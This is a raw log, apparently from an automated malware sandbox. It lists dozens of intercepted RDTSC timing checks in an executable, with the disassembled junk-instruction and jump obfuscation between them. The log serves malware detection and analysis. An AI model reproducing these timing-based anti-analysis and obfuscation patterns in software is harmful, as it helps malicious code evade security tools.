Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C8514 second address: 7C851A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C866B second address: 7C8671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C8671 second address: 7C868F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE1C0B69E49h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C868F second address: 7C8695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C8695 second address: 7C869B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C869B second address: 7C869F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7CA40E second address: 7CA414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7CA414 second address: 7CA430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FE1C0EF51F3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7CCFD0 second address: 7CD0AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FE1C0B69E44h 0x00000010 jmp 00007FE1C0B69E48h 0x00000015 popad 0x00000016 nop 0x00000017 mov edx, dword ptr [ebp+1244FCADh] 0x0000001d push 00000004h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007FE1C0B69E38h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 call 00007FE1C0B69E39h 0x0000003e jmp 00007FE1C0B69E45h 0x00000043 push eax 0x00000044 js 00007FE1C0B69E3Eh 0x0000004a jbe 00007FE1C0B69E38h 0x00000050 push edx 0x00000051 pop edx 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 js 00007FE1C0B69E3Ch 0x0000005c pushad 0x0000005d push eax 0x0000005e pop eax 0x0000005f push edx 0x00000060 pop edx 0x00000061 popad 0x00000062 mov eax, dword ptr [eax] 0x00000064 pushad 0x00000065 pushad 0x00000066 jmp 00007FE1C0B69E41h 0x0000006b jmp 00007FE1C0B69E41h 0x00000070 popad 0x00000071 jc 00007FE1C0B69E3Ch 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7CD0AE second address: 7CD0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jc 00007FE1C0EF51F2h 0x0000000f jo 00007FE1C0EF51ECh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7CD2DF second address: 7CD2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7CD2E3 second address: 7CD34C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jne 00007FE1C0EF51E8h 0x0000000f pop edi 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FE1C0EF51E8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b xor dl, 00000005h 0x0000002e push dword ptr [ebp+122D39C1h] 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FE1C0EF51E8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e call 00007FE1C0EF51E9h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push ecx 0x00000057 pop ecx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7CD34C second address: 7CD367 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FE1C0B69E3Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7CD367 second address: 7CD3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE1C0EF51EFh 0x0000000b jbe 00007FE1C0EF51E6h 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE1C0EF51F9h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7CD3A3 second address: 7CD3CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FE1C0B69E48h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C000E5 second address: 4C000EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C000EB second address: 4C000EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0E0D second address: 4BE0E28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0E28 second address: 4BE0E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC00D4 second address: 4BC00E1 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov ebx, 23B1A710h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC00E1 second address: 4BC011C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0B69E49h 0x00000008 sbb ah, FFFFFF96h 0x0000000b jmp 00007FE1C0B69E41h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC011C second address: 4BC0120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0120 second address: 4BC0126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0126 second address: 4BC013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0EF51F1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC013B second address: 4BC0159 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0159 second address: 4BC015F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC015F second address: 4BC0164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0164 second address: 4BC018E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov ah, 96h 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e jmp 00007FE1C0EF51EEh 0x00000013 push dword ptr [ebp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 movsx edx, cx 0x0000001c mov cx, 5DB5h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC018E second address: 4BC01A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC01A0 second address: 4BC01F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov edx, 55ACEC20h 0x00000011 pushfd 0x00000012 jmp 00007FE1C0EF51F9h 0x00000017 xor eax, 42AD0726h 0x0000001d jmp 00007FE1C0EF51F1h 0x00000022 popfd 0x00000023 popad 0x00000024 push dword ptr [ebp+08h] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FE1C0EF51EDh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC01F6 second address: 4BC01FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC01FC second address: 4BC0200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0B5C second address: 4BE0B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0B62 second address: 4BE0B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0B66 second address: 4BE0BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FE1C0B69E44h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FE1C0B69E3Dh 0x0000001a sub si, 0EF6h 0x0000001f jmp 00007FE1C0B69E41h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007FE1C0B69E40h 0x0000002b add cl, 00000018h 0x0000002e jmp 00007FE1C0B69E3Bh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE07A5 second address: 4BE07AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE07AB second address: 4BE07AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE07AF second address: 4BE07BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE07BF second address: 4BE07C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE07C3 second address: 4BE07C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE07C9 second address: 4BE07DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE07DB second address: 4BE0804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C0EF51F5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0804 second address: 4BE080A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE080A second address: 4BE080E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE06F1 second address: 4BE06F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE06F7 second address: 4BE0720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE1C0EF51F7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0720 second address: 4BE0731 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 3Fh 0x00000005 mov edi, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0731 second address: 4BE0735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0735 second address: 4BE0744 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0744 second address: 4BE074A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE074A second address: 4BE074E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE074E second address: 4BE0752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF0202 second address: 4BF0208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF0208 second address: 4BF0230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE1C0EF51EEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF0230 second address: 4BF0234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF0234 second address: 4BF0251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF0251 second address: 4BF0261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF0261 second address: 4BF0279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF0279 second address: 4BF027D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF027D second address: 4BF0281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF0281 second address: 4BF0287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF0287 second address: 4BF028D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BF028D second address: 4BF0291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D0D second address: 4C20D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FE1C0EF51F4h 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D27 second address: 4C20D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D2D second address: 4C20D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D31 second address: 4C20D5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C0B69E47h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D5B second address: 4C20D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D61 second address: 4C20D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D65 second address: 4C20D74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D74 second address: 4C20D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D78 second address: 4C20D8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D8B second address: 4C20D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20D91 second address: 4C20DD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a call 00007FE1C0EF51EDh 0x0000000f push esi 0x00000010 pop edi 0x00000011 pop eax 0x00000012 jmp 00007FE1C0EF51EDh 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FE1C0EF51F8h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20DD7 second address: 4C20DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20DDB second address: 4C20DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20DE1 second address: 4C20DF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C003A1 second address: 4C003D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FE1C0EF51F8h 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C003D3 second address: 4C003D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C003D7 second address: 4C003DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C003DD second address: 4C003E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C003E3 second address: 4C003E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C003E7 second address: 4C003F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ah, bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C003F9 second address: 4C003FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
